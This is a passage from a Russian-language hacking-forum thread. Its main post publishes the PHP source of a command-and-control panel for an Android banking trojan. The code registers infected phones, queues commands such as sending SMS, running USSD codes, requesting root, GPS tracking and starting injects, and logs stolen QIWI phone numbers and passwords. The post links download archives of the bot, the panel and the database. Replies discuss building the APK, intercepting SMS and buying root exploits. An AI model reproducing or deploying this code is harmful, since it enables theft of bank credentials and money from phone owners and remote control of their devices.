        <th></th>
    <th>IMEI/ID</th>
    <th>Номер</th>
    <th>Версия<br>ОС</th>
    <th>Версия<br>apk</th>
    <th>Страна</th>
    <th>Банк</th>
    <th>Модель</th>
    <th>ROOT</th>
    <th>Экран</th>
    <th>on/off</th>
    <th>Дата<br>заражения</th>
    <th>Логи</th>
    </thead>
    
    
    <?php
    include 'crypt.php';
    include 'config.php';
    
    $count_id_page=0;
    $page = $_GET["page"];
    $page1 = $_GET["page"];
    $count_id = 30;
    
    if($page =="" || $page == "1")
    {
      $page=0;
    }
    else
    {
      $page = ($page*$count_id)-$count_id;
    }
    
    $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
           $connection->exec('SET NAMES utf8');     
           $sql = "SELECT * FROM kliets limit $page,$count_id";
    $booleanIMEI = false;
     
    
    //*****Обработка запросa Для удаления!
    if(isset($_POST["delete"]))
    {
      if (preg_match("/checks/",print_r($_POST,true)))
      {
       foreach($_POST["checks"] as $id)
       {
        $id_del = explode(":", $id);
        $sql2 = "DELETE FROM kliets WHERE id='".$id_del[0]."'";
        $connection->query($sql2);
       }
      }
       header ("Location: index.php?cont=kliets&page=$page1");
    }
    
    if(isset($_POST["add_commands"]))//вызываем модальную форму!
    {
      if (preg_match("/checks/",print_r($_POST,true)))
      {
       foreach($_POST["checks"] as $imei)
       {
        echo "<script>";
         echo "$(document).ready(function(){";
          echo "$('#parent_modal').css({'display':'block'});";
         echo "});";
        echo "</script>";
       }
      }
    }
    
    if(isset($_POST["click_log"]))//Открываем форму логи!
    {
    
      $log_IMEI = $_POST["click_log"];
        echo "<script>";
         echo "$(document).ready(function(){";
          echo "$('#log_modal').css({'display':'block'});";
         echo "});";
        echo "</script>";
    }
    
    if(isset($_POST["click_set"]))//Открываем форму настроек!
    {
    
      $set_IMEI = $_POST["click_set"];
        echo "<script>";
         echo "$(document).ready(function(){";
          echo "$('#set_modal').css({'display':'block'});";
         echo "});";
        echo "</script>";
    }
    
    //******батоны и переменые с базы!********
    
        echo "<form name='callback' method='post'>";
    echo "<input type='submit'  value='Добавить команду' name='add_commands' class='submit'/>";
    echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
    echo "<input type='submit' value='Обновить' name='rrr' class='submit'/>";
    
    $count_bots = 0;
    
    foreach($connection->query($sql) as $row)
    {
      $ID = $row['id'];
      $IMEI = $row['IMEI'];
      $number = $row['number'];
      $version = $row['version'];
      $version_apk = $row['version_apk'];
      $country = $row['country'];
      $bank = $row['bank'];
      $model = $row['model'];
      $lastConnect = $row['lastConnect'];
      $firstConnect = $row['firstConnect'];
      $l_inj=$row['inj'];
      $l_bank=$row['l_bank'];
      $l_log=$row['log'];
      $root=$row['r00t'];
      $screen=$row['screen'];
      $color=$row['color'];
    
      //******Получаем иконку состояния бота, вычисляем дату****
      $arr_data_from = explode(" ", $row['lastConnect']);
      $arr_data_till = explode(" ", date('Y-m-d H:i'));
     
      $date_from = $arr_data_from[0];
      $date_till = $arr_data_till[0];
    
      $date_from = explode('-', $date_from);
      $date_till = explode('-', $date_till);
    
      $time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
      $time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
    
      $day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
      //----------Секунды!-------/
      $date1 = new \DateTime($row['lastConnect']);
      $date2 = new \DateTime(date('Y-m-d H:i'));
      $diff = $date2->diff($date1);
      // разница в секундах
      $seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
      ($diff->m * 30 * 24 * 60 * 60) +
      ($diff->d * 24 * 60 * 60) +
      ($diff->h * 60 * 60) +
      ($diff->i * 60) +
      $diff->s;
      //----------обработка состояние иконки on/off-------/
      if($day>=2)//Дни!
      {
       $img="/images/icons/kill.png";
      }
      else
      {
       if($seconds<=120)
       {$img="/images/icons/online.png";}
       else
       {$img="/images/icons/offline.png";}
      }
      //************Иконки ЛОГОВ***************************************
      if($l_inj == "1")
      {$icon_inj="/images/icons/inj_on.png";}
      else
      {$icon_inj="/images/icons/inj_off.png";}
    
      if($l_bank == "1")
      {$icon_bank="/images/icons/bank_on.png";}
      else
      {$icon_bank="/images/icons/bank_off.png";}
    
      if($l_log == "1")
      {$icon_log="/images/icons/log_on.png";}
      else
      {$icon_log="/images/icons/log_off.png";}
    
      /**/
      if($root == "1")
      {$icon_root="/images/icons/V.png";}
      else
      {$icon_root="/images/icons/X.png";}
    
      if($seconds<=120)
      {
       if($screen == "1")
       {$icon_screen="/images/icons/V.png";}
       else
       {$icon_screen="/images/icons/X.png";}
      }
      else
      {
       $icon_screen="/images/icons/X.png";
      }
      //----страны
    
      if($country == "") $country = "not";
     
      $country =  mb_strtolower($country);
      //************Данные в таблице********************************************
    
      echo "<tr class='table_bots' style='color: #A4A4A4;'>";
    
      echo "
       <td><input type=checkbox name=checks[] value=$ID:$IMEI></input></td>
       <td>$IMEI</td>
       <td>$number</td>
       <td>$version</td>
       <td>$version_apk</td>
       <td><a title='$country'><img src='/images/country/$country.png' width='16px'/></a></td>
       <td>$bank</td>
       <td>$model</td>
       <td>
       <a title='root права'><img src=$icon_root width='16px'/></a>
       </td>
       <td>
       <a title='Состояние экрана'><img src=$icon_screen width='16px'/></a>
       </td>
       <td><a title='$lastConnect'><img src=$img width='16px'/></a></td>
       <td>$firstConnect</td>
       <td>
       <a title='Инжект'><img src=$icon_inj width='16px'/></a>
       <a title='Visa'><img src=$icon_bank width='16px'/></a>
          <button class='btn_log' name='click_log' value='$IMEI' title='Логи' ><img src='$icon_log' title='Логи' alt='img' width='16px' class='img_log'/></button>
       </td>
       </tr>";
      
    }
      echo "</form>";
    
    
    
    // id  IMEI  number  version  country  bank  model  lastConnect  firstConnect
    ?>
    </table>
    <?php
    
    //НОМЕРА СТРАНИЦ
           $connection->exec('SET NAMES utf8');     
           $sql2 = "SELECT * FROM kliets";
    foreach($connection->query($sql2) as $row)
    {
      $count_id_page++;
    }
    
        $a = ceil($count_id_page/$count_id);
    echo "<center>";
    for($b=1;$b<=$a;$b++)
    {
      echo "<a style='color: #fff; font-family: Consolas;' href='index.php?cont=kliets&page=$b' style='text-decoration:none;'>$b</a>";
    }
    echo "</center>";
    ?>
    
    <?php//-------------конец таблице--------------------начало----------------------Модальное окно для Добавления команд-----?>
    
    
    <div id = "parent_modal">
    <div id = "modal">
    <a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>" style="cursor: pointer; color: Red;" onclick="document.getElementById('parent_modal').style.display = 'none'";>X</a>
    <div class="styled-select">
    
    <form name="modal_command"  method="POST" action="/private/command_go_modul.php">
      Выбраные боты<select name="comboBox_imeis" style="color: #fff">
    
    
    <?php   //--------вставляем IMEIs в текстовое поле--------
    
    if(isset($_POST["add_commands"]))
    {
      if (preg_match("/checks/",print_r($_POST,true)))
      {
       $t_i="";
       foreach($_POST["checks"] as $imei)
       {
        $imei_add = explode(":", $imei);
        echo "<option value='$imei_add[0]'>$imei_add[1]";
        $t_i = "$t_i:$imei_add[1]";
       }
       echo "<input type='text' value='$t_i' name='text_imei' style='visibility:hidden'/>";
      }
    }
    ?>
      </select>
      Выберите команду
       <select  name="comboBox_commands" onchange="showOption(this)" style="color: #fff">
        <option value='null'>
        <option value='r_root'>Запросить root права
        <option value='sentSMS'>Отправть СМС
        <option value='startPermis'>Запрос разрешения чтения/отправки СМС(Android 6.0 и более)
       </select>
    
      <div  id="div_sent_sms" name="div_sent_sms" style="visibility:hidden">
      Введите номер<input type="text" name="text_number" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
      Введите текст СМС<input type="text" name="text_msg" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
      </div>
    </div>
    
      <script type="text/javascript">
        function showOption(el)
        {
         if(el.options[el.selectedIndex].value == "sentSMS")//отправка смс
         {
           document.getElementById("div_sent_sms").style.visibility = "visible";
         }else
         {
          document.getElementById("div_sent_sms").style.visibility = "hidden";
         }
        }
      </script>
    
      <input style="margin-top:0px;" type="submit" id="bth_add_command" value="Активировать команду" name="bth_add_command" class="submit"/>
     
    
    <?php echo "<input type='text' value='$page1' name='ref' style='visibility:hidden'/>"; //передаем номер страницы
    ?>
      </form>
    </div>
    </div>
    </div>
    
    <?php//--форма ЛОГ модульное окно!------rows="31" cols="158"--------?>
    <div id = "log_modal">
    <div id = "modal_l">
    <a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>"  style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
    <div class="styled-select">
    
      <textarea readonly name="mesage"  wrap="virtual" class="textlog">
      <?php
    
      $sql3 = "UPDATE kliets SET inj = '0', l_bank = '0', log = '0' WHERE IMEI = '$log_IMEI';";
      $connection->query($sql3);
      if (@fopen("private/logs/$log_IMEI.log", "r")){ // проверяем на существование файла
       //читаем
          $filename = "private/logs/$log_IMEI.log";
                     $handle = fopen($filename, "r");
                     $contents = fread($handle, filesize($filename));
                     fclose($handle);
                     echo "$contents";
      }
      ?></textarea>
     
    </div>
    </div>
    </div>
    
    </div>
    
    /private/tuk_tuk.php

    Код:
    <?php
    $request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
    include 'crypt.php';
    include 'config.php';
    $request = mb_substr($request, 0, mb_strlen($request));
    $request =  decrypt($request,cryptKey);
    
    $massivReq = explode(":", $request);
    
    $IMEI = $massivReq[0];
    $root = $massivReq[1];
    $screen = $massivReq[2];
    
    $screen = mb_substr($screen,0,mb_strlen($screen)-1);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    
    $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
    $sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";
    $connection->exec('SET NAMES utf8');
    $booleanIMEI = false;
    foreach($connection->query($sql) as $row)
    {
    if($row['IMEI']==$IMEI)
    {
    $booleanIMEI=true;
    break;
    }
    }
    if($booleanIMEI == true)
    {
    $sql2 = "SELECT * FROM commands";
    $data_comm = "";
    foreach($connection->query($sql2) as $row)
    {
      if($row['IMEI']==$IMEI)
    {
             $com0 = "id=";
       $com1 = $row['id'];
       $com2 = $row['command'];
       $data_comm = "$data_comm$com0$com1$com2";
    }
    }
    //Удаляем нафиг команды!
    $sql3 = "DELETE FROM commands WHERE IMEI='".$IMEI."'";
    $connection->query($sql3);
    
    
    //Записываем время конекта в бд и другую инфу
    $data_ = date('Y-m-d H:i');
    $sql3 = "UPDATE kliets SET lastConnect = '$data_', r00t = '$root', screen= '$screen' WHERE IMEI='".$IMEI."';";
    $connection->query($sql3);
    
      
    
    //отправляем статус настроек
    if(($data_comm == "")||($data_comm == " "))
    {
    $sql = "SELECT * FROM settings";
    foreach($connection->query($sql) as $row)
    {
      if($row['IMEI']==$IMEI)
      {
       if($row['state']=="1")
       {
        $data_comm="state1letsgotxt";
        $sql3 = "UPDATE settings SET state = '0' WHERE IMEI='".$IMEI."';";
        $connection->query($sql3);
       }
      }
    }
    }
    
    $booleanIMEI == false;
    //достаем команды и отправляем!
    $tag = "<tag>";
    $otv = encrypt("$data_comm",cryptKey);;
    $tagend = "</tag>";
    echo "$tag$otv$tagend";
    }
    else
    {//Если команды нет!
    $tag = "<tag>";
    $otv = encrypt("|NO|",cryptKey);
    $tagend = "</tag>";
    echo "$tag$otv$tagend";
    }
    
    //проверяем существует ли такой IMEI
    //если существует, достаем команды которые есть и отдаем
    //если не существует отдаем |NO|
    //SELECT * FROM table_name WHERE (выражение) [order by field_name [desc][asc]]
    ?>
    
    /private/set_data.php

    Код:
    <?php
    $request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
    include 'crypt.php';
    include 'config.php';
    $request = decrypt($request,cryptKey);
    
    
    $massivReq = explode(":", $request);
    $IMEI = $massivReq[0];
    $phoneNumber = $massivReq[1];
    $Version = $massivReq[2];
    $country =$massivReq[3];
    $bank = $massivReq[4];
    $model = $massivReq[5];
    $Version_apk = $massivReq[6];
    
    $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
    $connection->exec('SET NAMES utf8');
    $sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";
    
    $booleanIMEI = false;
    foreach($connection->query($sql) as $row)
    {
    if($row['IMEI']==$IMEI)
    {
    $booleanIMEI=true;
    break;
    }
    }
    if($booleanIMEI == false)
    {
    $data = date('Y-m-d H:i');
    $add_data = $connection->exec("insert into kliets (IMEI,number,version,country,bank,model,lastConnect,firstConnect,version_apk)
    value ('$IMEI','$phoneNumber','$Version','$country','$bank','$model','$data','$data','$Version_apk')");
    
    //Создаем файл для ведение ЛОГов!
    //$path_log = "logs/$IMEI.log";
    //file_put_contents($path_log, PHP_EOL.'', FILE_APPEND);
    
    // id  IMEI  number  version  country  bank  model  lastConnect  firstConnect
    // echo "IMEI: $IMEI Номер: $phoneNumber Версия: $Version Страна: $country Банк: $bank Модель:  $model";
    
    $tag = "<tag>";
    $otv = encrypt("|OK|",cryptKey);
    $tagend = "</tag>";
    
    echo "$tag$otv$tagend";
    }
    else
    {
    $tag = "<tag>";
    $otv = encrypt("|NO|",cryptKey);;
    $tagend = "</tag>";
    
    echo "$tag$otv$tagend";
    //echo "<tag>|NO|</tag>";
    }
    ?>
    
    /private/crypt.php
    Код:
    <?php
    //*************************************
    function encrypt($string, $key) //шифрование траффа логов
    {
    $str = urlencode($string);
    $ret = "";
    for($i=0; $i<mb_strlen($str); $i++)
    {
      $r1 = ord(mb_substr($str, $i, 1));
      $ret  = "$ret $r1";
    }
    
    for($i=0; $i<mb_strlen($key); $i++)
    {
      $ret = str_replace($i, mb_substr($key, $i, 1), $ret);
    }
    $ret = mb_substr($ret, 1, mb_strlen($ret)); //!
    return $ret;
    }
    
    function decrypt($string, $key)
    {
    $ret = $string;
    $ret = mb_substr($ret, 0, mb_strlen($ret)); //!
    
    for($i=0; $i<mb_strlen($key); $i++)
    {
      $ret = str_replace(mb_substr($key, $i, 1), $i, $ret);
    }
    $massivRet = explode(" ", $ret);
    
    $ret="";
    foreach($massivRet as $massivR)
    {
      $r1 = chr($massivR);
      $ret = "$ret$r1";
    }
    $str = urldecode($ret);
    return $str;
    }
    ?>
    


    /private/config.php

    Код:
    <?php
    define('SERVER' , 'localhost');
    define('DB', 'database');
    define('USER', 'root');
    define('PASSWORD' , '123');
    define('cryptKey' , 'qwe');//ключ шифрования трафика!
    
    /private/commands.php

    Код:
    <div class="content">
    <table align="center" class="header_table_commands" border="1" cellspacing="0" cellpadding="0" width=100%'>
    <thead class="header_table_commands">
        <th></th>
    <th>ID</th>
    <th>IMEI</th>
    <th>Команда</th>
    </thead>
    
    <?php
    include 'config.php';
    $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
    $connection->exec('SET NAMES utf8');
           $sql = "SELECT * FROM commands";
    $booleanIMEI = false;
    
    //*****Обработка запросa Для удаления!
    if(isset($_POST["delete"]))
    {
      if (preg_match("/checks/",print_r($_POST,true)))
      {
       foreach($_POST["checks"] as $id)
       {
        $id_del = $id;
        $sql2 = "DELETE FROM commands WHERE id='".$id_del."'";
        $connection->query($sql2);
       }
      }
       header ('Location: /index.php?cont=commands');
    }
    
    //******батоны и переменые с базы!********
        echo "<form method='post'>";
    echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
    echo "<p id='text_command'> Команды в очереди</p>";
    
    foreach($connection->query($sql) as $row)
    {
      $ID = $row['id'];
      $IMEI = $row['IMEI'];
      $command = $row['command'];
    
      //************Данные в таблице********************************************
      echo "<tr class='table_bots' style='color: #A4A4A4'>
       <td><input type=checkbox name=checks[] value=$ID></input></td>
       <td>$ID</td>
       <td>$IMEI</td>
       <td>$command</td>
       </tr>";
    }
      echo "</form>";
    
    // id  IMEI  command
    ?>
    
    </table>
    </div>
    
    /private/command_go_modul.php

    Код:
    <?php
      //передаем данные для выпонения команд!!!-----
    if(isset($_POST["bth_add_command"]))
    {
    
    
      if (isset($_POST['comboBox_commands']))
      {
        
       include 'config.php';
       $connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
    
       $connection3->exec('SET NAMES utf8');
       $que=$_POST['comboBox_commands'];
         
       if($que == "r_root")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "Go_P00t_request::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
         }
        }
       }
    
       if($que == "sentSMS")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        $numb = $_POST['text_number'];
        $msg = $_POST['text_msg'];
      
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "|command=Send SMS|number=$numb|text=$msg::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
          //echo "<script>alert('$imei $command_')</script>";
         }
        }
       }
       if($que == "startUSSD")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        $ussd = $_POST['text_ussd'];
        $ussd = str_replace("*",urlencode("*"),$ussd);
        $ussd = str_replace("#",urlencode("#"),$ussd);
      
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "|UssDg0=$ussd|endUssD::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
          //echo "<script>alert('$imei $command_')</script>";
         }
        }
       }
       if($que == "numberGO")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "nymBePsG0::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
         }
        }
       }
      }
    
      if($que == "numberGOsendSMS")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        $ussd = $_POST['text_sms_tel_book'];
    
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "|telbookgotext=$ussd|endtextbook::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
          //echo "<script>alert('$imei $command_')</script>";
         }
        }
       }
     
       if($que == "startPermis")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "Go_startPermis_request::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
         }
        }
       }
       if($que == "startGPSlocat")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "Go_GPSlocat_request::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
         }
        }
       }
     
       if($que == "startinj")
       {
        $imeis_ = $_POST['text_imei'];
        $imeis_  = explode(':', $imeis_);
      
        $ussd = $_POST['comboBox_inj'];
    
        foreach($imeis_ as $imei)
        {
         if($imei !="" )
         {
          //ID=123|command=Send SMS|number=123123|text=eqweqwe
          $command_ = "|startinj=$ussd|endstartinj::";
          $add_db_commands = $connection3->exec("insert into commands (IMEI,command)value ('$imei','$command_')");
          //echo "<script>alert('$imei $command_')</script>";
         }
        }
       }
       $page = $_POST['ref'];
     
      header ("Location: /");
    }
    ?>
    
    /private/add_log.php

    Код:
    <?php
    include 'crypt.php';
    include 'config.php';
    
    
    $request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
    
    $request = mb_substr($request, 0, mb_strlen($request));
    $request =  decrypt($request,cryptKey);
    
    $massivReq = explode("|", $request);
    $IMEI_log = $massivReq[0];
    $text_log = $massivReq[1];
    
    echo "$IMEI_log $text_log";
    
    if(($IMEI_log != "") && ($text_log != ""))
    {
    //Записываем ЛОГи!  
    $path_log = "logs/$IMEI_log.log";
    $perehod = "\n";
    $str_log = "$IMEI_log: $text_log$perehod";
    file_put_contents($path_log, $str_log, FILE_APPEND);
    
    $massiv_visa = array('visa', 'VISA','Visa','QIWI');
    
    $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
    $connection->exec('SET NAMES utf8');
    $data_ = date('Y-m-d H:i');
    $sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
    $connection->query($sql3);
    
    $sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
    $connection->query($sql3);
    
    foreach($massiv_visa as $sl_visa)
    {
    if (strpos($text_log, $sl_visa) == true)
    {
      $sql3 = "UPDATE kliets SET l_bank = '1' WHERE IMEI = '$IMEI_log';";
      $connection->query($sql3);
    }
    }
    }
    ?>
    
    /private/add_inj.php

    Код:
    <?php
    include 'crypt.php';
    include 'config.php';
    
    $request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
    $request =  decrypt($request,cryptKey);
    
    $massivReq = explode("|", $request);
    $IMEI_log = $massivReq[0];
    $text_log = $massivReq[1];
    
    //КИВИ
    if($text_log == "QIWI")
    {
    
    $user = $_POST['mob_num'];
    $pass = $_POST['pass'];
    
    $l_u = "";
    $l_p = "";
    
    if($user!="") $l_u = "Номер: $user";
    if($pass!="") $l_p = "Пароль: $pass";
    
    $text_log = "Инжект(QIWI)\n$l_u\n$l_p\n";
    }
    
    echo "HTTP: Error 12007 when connecting";
    
    if(($IMEI_log != "") && ($text_log != ""))
    {
    //Записываем ЛОГи!  
    $path_log = "logs/$IMEI_log.log";
    $perehod = "\n";
    $str_log = "$IMEI_log: $text_log$perehod";
    file_put_contents($path_log, $str_log, FILE_APPEND);
    
    $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
    $connection->exec('SET NAMES utf8');
    $data_ = date('Y-m-d H:i');
    $sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
    $connection->query($sql3);
    
    $sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
    $connection->query($sql3);
    
    $sql3 = "UPDATE kliets SET  inj = '1' WHERE IMEI = '$IMEI_log';";
    $connection->query($sql3);
    
    }
    ?>
    
    Форму авторизации я не делал, думаю кому надо, тот найдет решение проблемы, ну или в крайнем случае пишите мне, решу вопрос!


    Исходники:
    Бот: https://yadi.sk/d/Go9X_wzE33z76Z пасс: qweasd
    Админка: https://yadi.sk/d/ZsgNskV-33z7h6 пасс: qweasd
    База mysql: https://yadi.sk/d/EuyB5s0J33zApJ пасс: qweasd
    Ну вот мы и рассмотрели разработку Андроид бота, да и не только, так же один из вариантов борьбы с детектом! зы Ребят, прошу не работайте по ру!

    Спасибо за внимание и всех с наступающим 2017 новым годом :)
     
  3. eiju
    off

    eiju Пока одупляюсь УЧАСТНИКИ

    Сообщения:
    5
    Адрес:
    gdsfg 25
    Репутация:
    0
    Сфера:
    Другое
    Ты хоть копирайты автора ставь :(
     
  4. nixi
    off

    nixi Активно в Норе УЧАСТНИКИ

    Сообщения:
    70
    Пол:
    Мужской
    Адрес:
    california
    Репутация:
    7
    Сфера:
    Кодинг
    Вроде есть :)

    Я так понял нужно андройд студию ставить и иметь хороший эксплойт для получения root привилегий. Кто то собирал?
     
  5. Mr.ROBOT
    off

    Mr.ROBOT include(Happy) VIP МАГАЗИНЫ

    Сообщения:
    120
    Пол:
    Мужской
    Репутация:
    63
    Сфера:
    Хакинг
    В первом посте как положено они имеются, во втором пропустил. Ты автор?
    Устанавливать среду разработки естественно нужно, блокнот не подойдет. У AMБ слили приватные эксплойт для повышения привилегий, по моему стоит 10 btc.
     
  6. Androidbot2
    off

    Androidbot2 В ЧЕРНОМ СПИСКЕ!!! ЗАБАНЕН

    Сообщения:
    3
    Адрес:
    1
    Репутация:
    -6
    Сфера:
    Другое
    Мда, спер пост с другого форума...
     
  7. unicode
    off

    unicode Пока одупляюсь УЧАСТНИКИ

    Сообщения:
    9
    Адрес:
    московская
    Репутация:
    0
    Сфера:
    Кодинг
    Да андроид студио ставишь, ставишь в сорцах линк на админку, собираешь в apk. Тестишь: либо линк делаешь на сайте для скачивания или подключаешь телефон к андроид студио и тестишь.
    С версии 6 начинаются проблемы с перехватом СМС.
    Эксплойт не обязательно и так норм.
     
  8. caxmd
    off

    caxmd Бываю в Норе УЧАСТНИКИ

    Сообщения:
    25
    Пол:
    Мужской
    Адрес:
    str.stefan cel mare
    Репутация:
    1
    Сфера:
    Студент
    napisi pra mazar 3
     
  9. ShMaLiK
    off

    ShMaLiK Пока одупляюсь БЕЗ ПРОБЕГА

    Сообщения:
    1
    Пол:
    Мужской
    Адрес:
    Rudolstädter Str. 87 07422 Rottenbach
    Репутация:
    0
    Сфера:
    ИТ-Безопасность
    Большую часть админки переделал, код вырван из контекста
     
  10. vipgold
    off

    vipgold Полезный Норе УЧАСТНИКИ

    Сообщения:
    88
    Пол:
    Мужской
    Адрес:
    spb
    Репутация:
    6
    Сфера:
    Кардинг
    Поделись посмотреть
     
  11. Las
    off

    Las Пока одупляюсь БЕЗ ПРОБЕГА

    Сообщения:
    1
    Адрес:
    Mosk
    Репутация:
    0
    Сфера:
    Вирусология
    Презалейте Админку пж